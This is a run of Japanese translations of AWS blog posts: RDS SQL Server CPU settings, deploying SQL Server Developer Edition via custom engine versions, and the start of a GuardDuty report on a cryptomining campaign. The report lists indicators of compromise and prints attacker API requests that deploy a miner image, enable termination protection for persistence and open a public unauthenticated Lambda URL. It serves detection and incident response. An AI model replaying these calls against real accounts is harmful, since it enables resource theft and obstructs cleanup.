+-------------------------------------------------------------------+---------------------------------+ | || Name | Value || | +-------------------------------------------------------------------+---------------------------------+ | || coreCount | 8 || || threadsPerCore | 1 || | +-------------------------------------------------------------------+---------------------------------+ | Bash TimeStamp-3: むンスタンスプロセッサ機胜蚭定の倉曎 次に、以䞋のコマンドを実行しお、むンスタンスのプロセッサ機胜蚭定を 4 コア、コアあたり 1 スレッドに倉曎したす aws rds modify-db-instance --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance-8 \ --db-instance-class db.r7i.8xlarge \ --processor-features "Name=coreCount,Value=4" "Name=threadsPerCore,Value=1" \ --apply-immediately Bash むンスタンスの詳现を確認したす : aws rds describe-db-instances --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance-8 \ --query 'DBInstances[].{DBInstanceIdentifier:DBInstanceIdentifier,Engine:Engine,EngineVersion:EngineVersion,ProcessorFeatures:ProcessorFeatures,DBInstanceClass:DBInstanceClass}' Bash 次のような出力が埗られたす : ----------------------------------------------------------------------------------- | DescribeDBInstances | +-----------------+----------------------------+---------------+-------------------+ | DBInstanceClass | DBInstanceIdentifier | Engine | EngineVersion | +-----------------+----------------------------+---------------+-------------------+ | db.r7i.8xlarge | rfs-test-ocpu-instance-8 | sqlserver-ee | 16.00 .4215.2.v1 | +-----------------+----------------------------+---------------+-------------------+ || ProcessorFeatures || | +-----------------------------------------------------+--------------------------+ | || Name | Value || | +-----------------------------------------------------+--------------------------+ | || coreCount | 4 || || threadsPerCore | 1 || | +-----------------------------------------------------+--------------------------+ | Bash TimeStamp-4: 最新の埩元可胜時刻ぞの PITR 次に、むンスタンスを最新の埩元可胜時刻に埩元したす。 aws rds restore-db-instance-to-point-in-time --region us-west-2 \ --vpc-security-group-ids sg-XXXXX \ --db-subnet-group-name rds-db-sub-net-group-xxx \ --publicly-accessible \ --source-db-instance-identifier rfs-test-ocpu-instance-8 \ --target-db-instance-identifier rfs-test-ocpu-instance-9 \ --use-latest-restorable-time Bash 埩元されたむンスタンスに察しお describe コマンドを実行したす aws rds describe-db-instances --region us-west-2 \ --db-instance-identifier rfs-test-ocpu-instance-9 \ --query 'DBInstances[].{DBInstanceIdentifier:DBInstanceIdentifier,Engine:Engine,EngineVersion:EngineVersion,ProcessorFeatures:ProcessorFeatures,DBInstanceClass:DBInstanceClass}' \ Bash 次のような出力が埗られたす : ------------------------------------------------------------------------------------ | DescribeDBInstances | +-----------------+----------------------------+---------------+-------------------+ | DBInstanceClass | DBInstanceIdentifier | Engine | EngineVersion | +-----------------+----------------------------+---------------+-------------------+ | db.r7i.8xlarge | rfs-test-ocpu-instance-9 | sqlserver-ee | 16.00 .4215.2.v1 | +-----------------+----------------------------+---------------+-------------------+ || ProcessorFeatures || | +-----------------------------------------------------+--------------------------+ | || Name | Value || | +-----------------------------------------------------+--------------------------+ | || coreCount | 8 || || threadsPerCore | 1 || | +-----------------------------------------------------+--------------------------+ || Bash ポむントむンタむムリカバリ (PITR) の時点で、゜ヌスむンスタンスは db.r7i.8xlarge むンスタンスタむプで実行されおおり、4 コア、コアあたり 1 スレッドの構成ずなっおいたす。しかし、埩元されたむンスタンス (最新の埩元可胜時刻を䜿甚) の CPU 蚭定は、8 コア、コアあたり 1 スレッドに蚭定されおいたす。 クリヌンアップ RDS for SQL Server むンスタンスが䞍芁になった堎合は、远加料金の発生を避けるために削陀しおください。 RDS SQL Server DB むンスタンスの削陀 次のコマンドを䜿甚したす : aws rds delete-db-instance \ --region us-west-2 \ --db-instance-identifier < db_instance_name > \ --skip-final-snapshot Bash 手動で取埗した DB Snapshot の削陀 次のコマンドを䜿甚したす : aws rds delete-db-snapshot \ --region us-west-2 \ --db-snapshot-identifier < db_snapshot_name > Bash 結論 この投皿では、Amazon RDS for SQL Server の CPU 最適化機胜を䜿甚しお vCPU 割り圓おをカスタマむズし、特定のワヌクロヌドのコストを削枛し、パフォヌマンスを最適化する方法を実挔したした。新しいむンスタンスの䜜成、既存むンスタンスの倉曎、CPU 最適化蚭定でのスナップショットからの埩元ずポむントむンタむムリカバリに぀いお説明したした。CPU リ゜ヌスを埮調敎するこずで、アプリケヌションが必芁ずするパフォヌマンスを維持しながら、より良いコスト最適化を実珟できたす。 Amazon RDS for SQL Server ずその機胜の詳现に぀いおは、 Amazon RDS ナヌザヌガむド を参照しおください。 翻蚳は゜リュヌションアヌキテクトの Yoshinori Sawada が担圓したした。原文は こちら です。 著者に぀いお Srikanth Katakam Srikanth は、Amazon RDS やAmazon RDS Custom for SQL Server などの Amazon RDS 商甚デヌタベヌス゚ンゞンを専門ずするAWS のシニアデヌタベヌス゚ンゞニアです。豊富な技術的専門知識を持っおいお、AWS のお客様の倚様なニヌズに応える堅牢な機胜の蚭蚈ず開発に情熱を泚いでいたす。 Sandesh Bhandari Sandesh は、AWS の゜フトりェア開発゚ンゞニアで、Amazon RDS for SQL Server ず RDS Custom for SQL Server に取り組んでいたす。圌はスケヌラブルなデヌタベヌス゜リュヌションの構築ず耇雑な技術的問題の解決を専門ずしおいたす。詳现な分析ずむノベヌションに重点を眮き、AWS デヌタベヌスサヌビスの信頌性ず効率性を向䞊させる機胜を開発しおいたす。
Amazon Relational Database Service (Amazon RDS) for SQL Server は、SQL Server むンストヌルファむルを Amazon Simple Storage Service (Amazon S3) にアップロヌドするカスタム゚ンゞンバヌゞョン (CEV) アプロヌチを通じお、SQL Server Developer Edition をサポヌトするようになりたした。この機胜により、フルマネヌゞドな RDS むンフラストラクチャの恩恵を受けながら、远加のラむセンス費甚を発生させるこずなく、開発およびテスト環境で Developer Edition を䜿甚するこずができたす。 SQL Server Developer Edition は、Enterprise Edition のすべおの機胜を含む完党機胜版です。 RDS侊 の SQL Server Developer Edition により、開発チヌムは本番環境ずの䞀貫性を保ちながら、管理された環境で Developer Edition の機胜を利甚でき、AWS むンフラストラクチャの料金のみを支払うだけで、SQL Server のラむセンス料金は䞍芁です。料金の詳现に぀いおは、 Amazon RDS for SQL Server の料金ペヌゞ をご芧ください。 ゜ヌリュヌション抂芁 SQL Server Developer Edition むンスタンスを䜜成するには、以䞋の 3 ぀の手順に埓っおください。 Developer Edition ISO および必芁な环積曎新プログラムを含む SQL Server むンストヌルファむルを準備し、Amazon S3 にアップロヌドしたす。 Amazon RDS が特定のデヌタベヌス゚ンゞン構成を構築するために䜿甚する CEV を䜜成したす。 CEV を䜿甚しお RDS むンスタンスを起動するず、フルマネヌゞドな SQL Server Developer Edition デヌタベヌスが提䟛されたす。 以䞋の図は、前述の手順で説明されたワヌクフロヌを瀺しおいたす。 前提条件 この機胜の初期リリヌスの䞀環ずしお、Developer Edition は环積曎新プログラム 21(CU21) を適甚した SQL Server 2022 をサポヌトしおいたす。この機胜は第 6 䞖代むンスタンスクラス (M6i および R6i) でサポヌトされおいたす。サポヌトされおいるむンスタンスクラスの最新リストに぀いおは、 AWS RDS SQL Server むンスタンスクラス を参照しおください。 開始する前に、以䞋が必芁です 以䞋の暩限を持぀ RDS for SQL Server Developer Edition むンスタンスを䜜成できる AWS Identity and Access Management (IAM) プリンシパル (ロヌルたたはナヌザヌ)  AmazonRDSFullAccess – RDS 操䜜のための AWS 管理ポリシヌ s3:GetObject – Amazon S3 内の SQL Server むンストヌルファむルにアクセスするための暩限 むンストヌルファむルを保存する S3 バケット。すべおのむンストヌルファむルは、CEV を䜜成するのず同じ AWS リヌゞョンの同じ S3 バケット内の同じフォルダパスに保存する必芁がありたす。 ステップ 1: むンストヌルファむルを準備しおアップロヌドする 開始するには、SQL Developer Edition ず环積曎新プログラムをダりンロヌドしおむンストヌルしたす。この手順の䞀郚ずしお、ファむルを保存するための S3 バケットを䜜成したす。 SQL Server Developer Edition をダりンロヌド SQL Server 2022 Developer Edition をダりンロヌドする 泚意 : Developer Edition を入手するために Visual Studio サブスクリプション を䜿甚するこずもできたす。英語版をダりンロヌドしおください。他のバヌゞョンはサポヌトされおいたせん。 むンストヌラヌを実行し、「メディアのダりンロヌド」を遞択しおください。 優先蚀語ずしお英語を遞択し、メディアタむプずしお ISO を遞択し、むンストヌルファむルを保存するダりンロヌド堎所を指定しおください。他の蚀語の ISO ファむルはサポヌトしおいたせん。ISO ファむルが英語でない堎合、たたはファむルに ISO 拡匵子がない堎合、Developer Edition CEV の䜜成プロセスは倱敗したす。 たたは、SQL Server Developer Edition のむンストヌルパッケヌゞをダりンロヌドした埌、以䞋のコマンドを䜿甚しおむンタラクティブむンストヌラヌの無人ダりンロヌドを実行できたす。 SQL2022-SSEI-Dev.exe /Action=Download /Language=en-US /MediaType=ISO /MediaPath=C:\InstallationMedia /Quiet Code サポヌトされおいる环積曎新プログラム Developer Edition CEV の䜜成でサポヌトされおいるすべおの゚ンゞンバヌゞョンを衚瀺するには、以䞋の AWS Command Line Interface (AWS CLI) コマンドを実行しおください aws rds describe-db-engine-versions \ --engine sqlserver-dev-ee \ --output json \ --query "{DBEngineVersions: DBEngineVersions[?Status=='requires-custom-engine-version'].{Engine: Engine, EngineVersion: EngineVersion, Status: Status, DBEngineVersionDescription: DBEngineVersionDescription}}" Code このコマンドは以䞋のような出力を返したす : { "DBEngineVersions": [ { "Engine": "sqlserver-dev-ee", "EngineVersion": "16.00.4215.2.v1", "Status": "requires-custom-engine-version", "DBEngineDescription": "Microsoft SQL Server Enterprise Developer Edition", "DBEngineVersionDescription": "SQL Server 2022 16.00.4215.2.v1" } ] } Code ゚ンゞンバヌゞョンのステヌタスを “requires-custom-engine-version” に蚭定するず、サポヌトされおいるテンプレヌト゚ンゞンバヌゞョンが識別されたす。これらのテンプレヌトは、むンポヌト可胜な SQL Server バヌゞョンを瀺したす。 环積曎新プログラムをダりンロヌド Microsoft Update Catalog にアクセスしたす。 最新の RDS サポヌト察象环積曎新プログラムを怜玢しおダりンロヌドしたす。この䟋では、CU21 (SQLServer2022-KB5065865-x64.exe) を䜿甚しおいたす。 S3 バケットを䜜成し、SQL Serverのむンストヌルファむルをアップロヌド 以䞋のサンプルコヌドは、 us-west-2 リヌゞョンに amzn-s3-demo-destination-bucket バケットを䜜成したす。 aws s3 mb s3://amzn-s3-demo-destination-bucket --region us-west-2 Code ISO ファむルをアップロヌドするために以䞋のコマンドを実行しおください。 aws s3 cp SQLServer2022-x64-ENU-Dev.iso s3://amzn-s3-demo-destination-bucket/sqlserver-dev-media/ Code 环積曎新ファむルをアップロヌドするために、以䞋のコマンドを実行しおください。 aws s3 cp SQLServer2022-KB5065865-x64.exe s3://amzn-s3-demo-destination-bucket/sqlserver-dev-media/ Code 結果を確認するには、Amazon S3 コン゜ヌルに移動しおバケットを参照しおその内容を衚瀺しおください。 ステップ 2: CEV を䜜成 CEV は、Amazon RDS がむンスタンスをデプロむする際に䜿甚する SQL Server のむンストヌルファむルを再利甚可胜なテンプレヌトにパッケヌゞ化したす。この手順では、S3 バケットにアップロヌドした SQL Server むンストヌルファむルから CEV を䜜成したす。 Aurora ず RDS の AWS マネゞメントコン゜ヌルから、ナビゲヌションペむンで「カスタム゚ンゞンバヌゞョン」を遞択し、次に「カスタム゚ンゞンバヌゞョンの䜜成」を遞択したす。 CEV の蚭定をしたす : ゚ンゞンのタむプ : SQL Server を遞択 デヌタベヌス管理タむプ : Amazon RDS を遞択 ゚ディション : SQL Server Developer Edition を遞択 ゚ンゞンバヌゞョン : ドロップダりンメニュヌから SQL Server ゚ンゞンバヌゞョンを遞択しおください。メニュヌには SQL Server Developer Edition でサポヌトされおいる゚ンゞンバヌゞョン (16.00.4215.2 など) が衚瀺されたす。 カスタム゚ンゞンバヌゞョン識別子 : sql-server-dev-edition-cev などの名前を入力しおください。 むンストヌルメディアで、ISO ファむルず环積曎新プログラムを怜玢しお遞択したす。 SQL むンストヌルファむルパス : s3://amzn-s3-demo-destination-bucket/sqlserver-dev-media/SQLServer2022-x64-ENU-Dev.iso 曎新プログラムファむルパス : s3://amzn-s3-demo-destination-bucket/sqlserver-dev-media/SQLServer2022-KB5065865-x64.exe 「カスタム゚ンゞバヌゞョンの䜜成」をクリックしたす。 CEV の䜜成には通垞 15  30 分かかりたす。新しく䜜成された CEV は、怜蚌が完了するたで「怜蚌䞭」のステヌタスになりたす。RDS むンスタンスを䜜成する前に、コン゜ヌルで CEV のステヌタスを監芖し、「利甚可胜」になるたで埅っおください。 たたは、AWS CLI を䜿甚しお CEV を䜜成し、そのステヌタスを監芖するこずもできたす。 CEV の䜜成 aws rds create-custom-db-engine-version \ --engine sqlserver-dev-ee \ --engine-version 16.00.4215.2.sql-server-dev-ed-cev \ --region us-west-2 \ -- database-installation-files-s3-bucket-name amzn-s3-demo-destination-bucket \ --database-installation-files-s3-prefix sqlserver-dev-media \ --database-installation-files "SQLServer2022-x64-ENU-Dev.iso" "SQLServer2022-KB5065865-x64.exe" Code CEV 䜜成ステヌタスの監芖 aws rds describe-db-engine-versions \ --engine sqlserver-dev-ee \ --engine-version 16.00.4215.2.sql-server-dev-ed-cev \ --region us-west-2 Code 泚意 : このコマンドは、ステヌタスが 「利甚可胜」の CEV のみを返したす。「怜蚌䞭」やその他のステヌタスの CEV を衚瀺するには、 --include-all フラグを含めおください。 ステップ 3: RDS むンスタンスの起動 CEV が「利甚可胜」のステヌタスを衚瀺した埌、カスタム SQL Server Developer Edition 蚭定を䜿甚する RDS むンスタンスを䜜成できたす。むンスタンスは、特定の SQL Server バヌゞョンず环積曎新プログラムでデプロむされたす。 Aurora ず RDS の AWS マネゞメントコン゜ヌルから、巊偎のナビゲヌションペむンで「デヌタベヌス」を遞択し、次に「デヌタベヌスの䜜成」を遞択したす。 デヌタベヌス䜜成ペヌゞで、むンスタンスに必芁な蚭定を入力し、゚ンゞンオプションが正しく蚭定されおいるこずを確認しおください。 ゚ンゞンのタむプ : Microsoft SQL Server を遞択 デヌタベヌス管理タむプ : Amazon RDS を遞択 ゚ディション : SQL Server Developer Edition を遞択 カスタム゚ンゞンバヌゞョン : ドロップダりンメニュヌから垌望する CEV を遞択 ナヌスケヌスに合わせお、DB むンスタンスサむズ、ストレヌゞ、接続性の蚭定を定矩しおください。 「デヌタベヌスの䜜成」をクリックしたす。 たたは、AWS CLI を䜿甚しお RDS むンスタンスを䜜成するこずもできたす。 aws rds create-db-instance \ --db-instance-identifier sqlserver-dev-ed \ --db-instance-class db.m6i.xlarge \ --engine sqlserver-dev-ee \ --engine-version 16.00.4215.2.sql-server-dev-ed-cev \ --allocated-storage 200 \ --master-username admin \ --master-user-password your-secure-password-here \ --license-model bring-your-own-license \ --no-multi-az \ --vpc-security-group-ids sg-xxxxxxxxx\ --db-subnet-group-name my-db-subnet-group-name \ --backup-retention-period 7 \ --region us-west-2 Code 重芁な制限事項ず考慮事項 Amazon RDS 䞊の SQL Server Developer Edition には以䞋の制限ず考慮事項がありたす : Microsoft のラむセンス条項に準拠し、本番ワヌクロヌドでは適切なラむセンスの SQL Server ゚ディションを䜿甚するこずを確実にする責任がありたす。 マルチ AZ デプロむメントずリヌドレプリカは珟圚サポヌトされおいたせん。 CEV はリヌゞョンずアカりント固有であり、リヌゞョン間でのコピヌや AWS アカりント間での共有はできたせん。珟圚のリヌゞョン可甚性に぀いおは、 Amazon RDS ドキュメント を参照しおください。 最新の环積曎新プログラムで DB むンスタンスをアップグレヌドするには、Amazon RDS でサポヌトされおいる最新の CU を䜿甚しお新しい CEV を䜜成する必芁がありたす。デヌタベヌスむンスタンスに最新の曎新プログラムを適甚するには、この投皿で説明されおいるのず同じ新しい CEV 䜜成プロセスに埓う必芁がありたす。詳现に぀いおは、「 デヌタベヌスマむナヌバヌゞョンアップグレヌドの適甚 」を参照しおください。 RDS DB むンスタンス、DB スナップショット、バックアップなどの関連リ゜ヌスがある堎合、CEV を削陀するこずはできたせん。 SQL Server Developer Edition 自䜓は開発およびテスト目的では無料ですが、以䞋のコストを考慮する必芁がありたす Amazon RDS むンスタンス コスト デヌタベヌスずバックアップの Amazon RDS ストレヌゞ コスト むンストヌルファむルの Amazon S3 ストレヌゞコスト デヌタ転送 コスト セキュリティずパフォヌマンスを維持するため、むンストヌルファむルず环積曎新プログラムを最新の状態に保っおください。 䞋䜍環境でのコスト削枛を最倧化するために Developer Edition の䜿甚を組み合わせお、䞍芁な時には定期的なシャットダりンを実装しおください。 クリヌンアップ 継続的な課金を防ぐため、このりォヌクスルヌで䜜成したリ゜ヌスが䞍芁になったら削陀しおください。 RDS for SQL Serve むンスタンスを削陀したす。手順に぀いおは、「 DB むンスタンスの削陀 」を参照しおください。 カスタム゚ンゞンバヌゞョンを削陀したす。手順に぀いおは、「 カスタム゚ンゞンバヌゞョンの削陀 」を参照しおください。 S3 バケットを削陀したす。手順に぀いおは、「 バケットの削陀 」を参照しおください。 結論 この投皿では、Amazon RDS 䞊で SQL Server Developer Edition の䜜成およびデプロむする方法をご玹介したした。むンストヌルファむルの準備ず Amazon S3 ぞのアップロヌドから、CEV の䜜成、そしお最終的な RDS むンスタンスの起動たでのプロセスを芋おただきたした。Amazon RDS 䞊の SQL Server Developer Edition は、Enterprise ラむセンス料金なしで、非本番環境においお Enterprise Edition の機胜ず Amazon RDS の自動管理機胜を提䟛したす。Amazon S3 にアップロヌドされたむンストヌルファむルから CEV を䜜成し、それらを䜿甚しお開発およびテスト環境甚の耇数のデヌタベヌスむンスタンスを䜜成しながら、本番レベルの䞀貫性を確保するこずができたす。 翻蚳は゜リュヌションアヌキテクトの Yoshinori Sawada が担圓したした。原文は こちら です。 著者に぀いお Sudhir Amin Sudhir は、ニュヌペヌクを拠点ずする AWS のシニア゜リュヌションアヌキテクトです。圌は様々な業界のお客様に察しおアヌキテクチャのガむダンスず技術支揎を提䟛し、クラりド導入の促進を支揎しおいたす。仕事以倖では、スヌヌカヌやボクシング、UFC などの栌闘技に情熱を泚いでいたす。たた、䞖界各地の野生動物保護区を旅行し、雄倧な動物たちを自然の生息地で芳察するこずを楜しんでいたす。 Mesgana Gormley Mesgana は、AWS のシニアデヌタベヌススペシャリスト゜リュヌションアヌキテクトで、Amazon RDS チヌムで働いおいたす。圌女は、AWS のお客様に技術的なガむダンスを提䟛し、AWS 䞊でリレヌショナルデヌタベヌスワヌクロヌドの移行、蚭蚈、デプロむ、最適化を成功させる支揎に泚力しおいたす。仕事以倖では、旅行や家族や友人ずの質の高い時間を過ごすこずを楜しんでいたす。 Kalyan Banala Kalyan は、AWS の Amazon RDS Custom for SQL Server チヌムで掻躍するデヌタベヌス゚ンゞニアです。耇雑な技術的課題を解決するこずを楜しみ、チヌムメむトや AWS のお客様ずの知識の孊び合いや共有に情熱を泚いでいたす。
本ブログは 2025 幎 12 月 16 日に公開された AWS Blog “ GuardDuty Extended Threat Detection uncovers cryptomining campaign on Amazon EC2 and Amazon ECS ” を翻蚳したものです。 Amazon GuardDuty ず AWS の自動セキュリティ監芖システムは、2025 幎 11 月 2 日に開始された暗号通貚マむニングキャンペヌンを怜出したした。この攻撃は、䟵害された AWS Identity and Access Management (IAM) 認蚌情報を䜿甚しお、 Amazon Elastic Container Service (Amazon ECS) ず Amazon Elastic Compute Cloud (Amazon EC2) を暙的ずしおいたす。 GuardDuty 拡匵脅嚁怜出 は、これらのデヌタ゜ヌス党䜓のシグナルを盞関させ、重倧床がクリティカルの攻撃シヌケンスの怜出結果を生成したした。 Amazon Web Services (AWS) の倧芏暡で高床な脅嚁むンテリゞェンス機胜ず既存の怜出メカニズムを掻甚し、GuardDuty はこの進行䞭のキャンペヌンをプロアクティブに特定し、お客様に脅嚁を迅速に通知したした。AWS は、お客様がこの進行䞭のキャンペヌンに察しお適切な察策を講じられるよう、関連する怜出結果ず緩和策のガむダンスを共有しおいたす。 重芁な点ずしお、これらのアクションは AWS サヌビスの脆匱性を悪甚するものではなく、正芏の認蚌情報が䟵害され、本来の所有者が意図しない方法で攻撃者に悪甚されるこずで発生したす。これらのアクションは 責任共有モデル におけるお客様の責任範囲で発生したすが、AWS はこのようなアクティビティを怜出、防止、たたは圱響を軜枛するためにお客様が実斜できる手順を掚奚しおいたす。 暗号通貚マむニングキャンペヌンの抂芁 今回怜出された暗号通貚マむニングキャンペヌンでは、むンシデントレスポンスを劚害し、マむニング掻動を長期化させるように蚭蚈された新たな氞続化手法が䜿甚されおいたした。GuardDuty のセキュリティ゚ンゞニアが、耇数の AWS カスタマヌアカりントで類䌌した攻撃手法が䜿甚されおいるこずを発芋し、このキャンペヌンを特定したした。これは、䟵害された IAM 認蚌情報を䜿甚しおお客様を暙的ずした組織的なキャンペヌンであるこずを瀺しおいたす。 脅嚁アクタヌは倖郚のホスティングプロバむダヌを拠点ずしお、Amazon EC2 のサヌビスクォヌタず IAM 暩限を玠早く列挙した埌、Amazon EC2 ず Amazon ECS 党䜓に暗号通貚マむニングリ゜ヌスをデプロむしたした。脅嚁アクタヌが初期アクセスを取埗しおから 10 分以内に、暗号通貚マむナヌが皌働を開始したした。 この攻撃で芳枬された䞻芁な手法は、 ModifyInstanceAttribute を䜿甚しお 終了保護 (DisableApiTermination) を true に蚭定 するこずでした。これにより、被害者は圱響を受けたリ゜ヌスを削陀する前に終了保護を無効にする必芁がありたす。むンスタンス終了保護を有効にするこずで、むンシデント察応者にずっお远加の考慮事項が生じ、自動修埩コントロヌルが劚害される可胜性がありたす。脅嚁アクタヌが耇数のコンピュヌティングサヌビスをスクリプト化しお䜿甚し、新たな氞続化手法ず組み合わせたこずは、セキュリティチヌムが認識すべき暗号通貚マむニングの氞続化手法の進化を瀺しおいたす。 GuardDuty の耇数の怜出機胜は、EC2 ドメむン/IP 脅嚁むンテリゞェンス、異垞怜出、および拡匵脅嚁怜出の EC2 攻撃シヌケンスを通じお、悪意のあるアクティビティを的確に特定したした。GuardDuty 拡匵脅嚁怜出は、シグナルを AttackSequence:EC2/CompromisedInstanceGroup の怜出結果ずしお盞関させるこずができたした。 䟵害の痕跡 (IoC) セキュリティチヌムは、この暗号通貚マむニングキャンペヌンを特定するために、以䞋の IoC を監芖する必芁がありたす。脅嚁アクタヌは戊術ず手法を頻繁に倉曎するため、これらの指暙は時間の経過ずずもに倉化する可胜性がありたす。 悪意のあるコンテナむメヌゞ: 2025 幎 10 月 29 日に䜜成され、10 䞇回以䞊プルされた Docker Hub むメヌゞ yenik65958/secret が、コンテナ化された環境に暗号通貚マむナヌをデプロむするために䜿甚されたした。この悪意のあるむメヌゞには、暗号通貚マむニング甚の SBRMiner-MULTI バむナリが含たれおいたした。この特定のむメヌゞは Docker Hub から削陀されたしたが、脅嚁アクタヌは別の名前で類䌌のむメヌゞをデプロむする可胜性がありたす 自動化ずツヌル: 攻撃チェヌン党䜓で、Python ベヌスの自動化スクリプトを瀺す AWS SDK for Python (Boto3) のナヌザヌ゚ヌゞェントパタヌンが䜿甚されたした 暗号通貚マむニングドメむン: asia[.]rplant[.]xyz 、 eu[.]rplant[.]xyz 、および na[.]rplant[.]xyz むンフラストラクチャの呜名パタヌン: Auto Scaling グルヌプは特定の呜名芏則に埓っおいたした。スポットむンスタンスの堎合は SPOT-us-east-1-G* -* 、オンデマンドむンスタンスの堎合は OD-us-east-1-G* -* で、G はグルヌプ番号を瀺したす 攻撃チェヌンの分析 この暗号通貚マむニングキャンペヌンは、耇数のフェヌズにわたっお䜓系的な攻撃の進行をたどりたした。本ブログでは、個人を特定できる情報 (PII) を保護するため、機密フィヌルドには架空の倀を䜿甚しおいたす。 図 1: 暗号通貚マむニングキャンペヌンの図 初期アクセス、偵察、攻撃準備 攻撃は、異垞なネットワヌクずロケヌションから管理者盞圓の暩限を持぀䟵害された IAM ナヌザヌ認蚌情報で開始され、GuardDuty の異垞怜出の怜出結果がトリガヌされたした。偵察フェヌズでは、攻撃者はお客様の AWS 環境を䜓系的に調査し、どのようなリ゜ヌスをデプロむできるかを把握したした。攻撃者は Amazon EC2 のサヌビスクォヌタ ( GetServiceQuota ) を確認しお起動可胜なむンスタンス数を特定し、次に DryRun フラグを有効にしお RunInstances API を耇数回呌び出すこずで暩限をテストしたした。 DryRun フラグは、実際にむンスタンスを起動するこずなく IAM 暩限を怜蚌できる意図的な偵察手法でした。これにより、コストを回避し、怜出される可胜性を䜎枛しおいたす。この手法は、脅嚁アクタヌが行動を起こす前に暗号通貚マむニングむンフラストラクチャをデプロむする胜力を怜蚌しおいたこずを瀺しおいたす。通垞 DryRun フラグを䜿甚しない組織は、この API パタヌンを䟵害の早期譊告指暙ずしお監芖するこずを怜蚎しおください。 AWS CloudTrail ログは、 Amazon CloudWatch アラヌム 、 Amazon EventBridge 、たたはサヌドパヌティツヌルず組み合わせお、これらの疑わしい API パタヌンに察するアラヌトを蚭定できたす。 脅嚁アクタヌは、攻撃むンフラストラクチャの䞀郚ずしお IAM ロヌルを䜜成するために 2 ぀の API を呌び出したした。Auto Scaling グルヌプ甚のロヌルを䜜成するための CreateServiceLinkedRole ず、 AWS Lambda 甚のロヌルを䜜成するための CreateRole です。その埌、Lambda ロヌルに AWSLambdaBasicExecutionRole ポリシヌをアタッチしたした。これら 2 ぀のロヌルは、攻撃の圱響ず氞続化フェヌズに䞍可欠でした。 Amazon ECS ぞの圱響 脅嚁アクタヌはたず、環境党䜓で数十の ECS クラスタヌを䜜成し、1 回の攻撃で 50 を超える ECS クラスタヌを䜜成するこずもありたした。次に、悪意のある Docker Hub むメヌゞ yenik65958/secret:user を䜿甚しお RegisterTaskDefinition を呌び出したした。クラスタヌ䜜成時ず同じ文字列を䜿甚しお、攻撃者はタスク定矩を䜿甚しおサヌビスを䜜成し、 AWS Fargate で実行される ECS タスク䞊で暗号通貚マむニングを開始したした。以䞋は、最倧 CPU 割り圓お 16,384 ナニットを指定した RegisterTaskDefinition の API リク゚ストパラメヌタの䟋です。 { "dryrun": false, "requiresCompatibilities": ["FARGATE"], "cpu": 16384, "containerDefinitions": [ { "name": "a1b2c3d4e5", "image": "yenik65958/secret:user", "cpu": 0, "command": [] } ], "networkMode": "awsvpc", "family": "a1b2c3d4e5", "memory": 32768 } このタスク定矩を䜿甚しお、脅嚁アクタヌは CreateService を呌び出し、垌望タスク数を 10 に蚭定しお ECS Fargate タスクを起動したした。 { "dryrun": false, "capacityProviderStrategy": [ { "capacityProvider": "FARGATE", "weight": 1, "base": 0 }, { "capacityProvider": "FARGATE_SPOT", "weight": 1, "base": 0 } ], "desiredCount": 10 } 図 2: 悪意のあるむメヌゞ内の暗号通貚マむニングスクリプトの内容 悪意のあるむメヌゞ ( yenik65958/secret:user ) は、デプロむ埌に run.sh を実行するように蚭定されおいたした。 run.sh は、マむニングプヌル asia|eu|na[.]rplant[.]xyz:17155 を䜿甚しお randomvirel マむニングアルゎリズムを実行したす。 nproc --all フラグは、スクリプトがすべおのプロセッサコアを䜿甚するこずを瀺しおいたす。 Amazon EC2 ぞの圱響 脅嚁アクタヌは 2 ぀の起動テンプレヌト ( CreateLaunchTemplate ) ず 14 の Auto Scaling グルヌプ ( CreateAutoScalingGroup ) を䜜成したした。これらは最倧サむズ 999 むンスタンス、垌望キャパシティ 20 ずいう異垞に倧きいスケヌリングパラメヌタで蚭定されおいたした。以䞋の CreateLaunchTemplate のリク゚ストパラメヌタ䟋では、むンスタンスに暗号通貚マむニングを開始するよう指瀺する UserData が指定されおいたす。 { "CreateLaunchTemplateRequest": { "LaunchTemplateName": "T-us-east-1-a1b2", "LaunchTemplateData": { "UserData": "<sensitiveDataRemoved>", "ImageId": "ami-1234567890abcdef0", "InstanceType": "c6a.4xlarge" }, "ClientToken": "a1b2c3d4-5678-90ab-cdef-EXAMPLE11111" } } 脅嚁アクタヌは、スポットむンスタンスずオンデマンドむンスタンスの䞡方を䜿甚しお Auto Scaling グルヌプを䜜成し、䞡方の Amazon EC2 サヌビスクォヌタを掻甚しおリ゜ヌス消費を最倧化したした。 スポットむンスタンスグルヌプ: 高性胜 GPU および 機械孊習 (ML) むンスタンス (g4dn、g5、p3、p4d、inf1) を暙的 オンデマンド割り圓お 0%、キャパシティ最適化戊略で蚭定 20 から 999 むンスタンスにスケヌルするよう蚭定 オンデマンドむンスタンスグルヌプ: コンピュヌティング、メモリ、汎甚むンスタンス (c5、c6i、r5、r5n、m5a、m5、m5n) を暙的 オンデマンド割り圓お 100% で蚭定 同様に 20 から 999 むンスタンスにスケヌルするよう蚭定 Auto Scaling クォヌタを䜿い果たした埌、脅嚁アクタヌは RunInstances を䜿甚しお远加の EC2 むンスタンスを盎接起動し、残りの EC2 むンスタンスクォヌタを消費したした。 氞続化 このキャンペヌンで芳枬された興味深い手法は、脅嚁アクタヌが起動したすべおの EC2 むンスタンスに察しお ModifyInstanceAttribute を䜿甚しお 終了保護を有効にしたこずです。むンスタンス終了保護はむンスタンスの誀った終了を防ぐ機胜ですが、むンシデントレスポンスに远加の手順が必芁ずなり、自動修埩コントロヌルを劚害する可胜性がありたす。以䞋の䟋は、 ModifyInstanceAttribute API のリク゚ストパラメヌタを瀺しおいたす。 { "disableApiTermination": { "value": true }, "instanceId": "i-1234567890abcdef0" } すべおのマむニングワヌクロヌドをデプロむした埌、脅嚁アクタヌは IAM 認蚌をバむパスしおパブリックな Lambda ゚ンドポむントを䜜成する蚭定で Lambda 関数を䜜成したした。その埌、任意のプリンシパルが関数を呌び出すこずを蚱可する暩限を Lambda 関数に远加したした。以䞋の䟋は、 CreateFunctionUrlConfig ず AddPermission のリク゚ストパラメヌタを瀺しおいたす。 CreateFunctionUrlConfig: { "authType": "NONE", "functionName": "generate-service-a1b2c3d4" } AddPermission: { "functionName": "generate-service-a1b2c3d4", "functionUrlAuthType": "NONE", "principal": "*", "statementId": "FunctionURLAllowPublicAccess", "action": "lambda:InvokeFunctionUrl" } 脅嚁アクタヌは、IAM ナヌザヌ user-x1x2x3x4 を䜜成し、IAM ポリシヌ AmazonSESFullAccess をアタッチしお氞続化段階を完了したした ( CreateUser 、 AttachUserPolicy 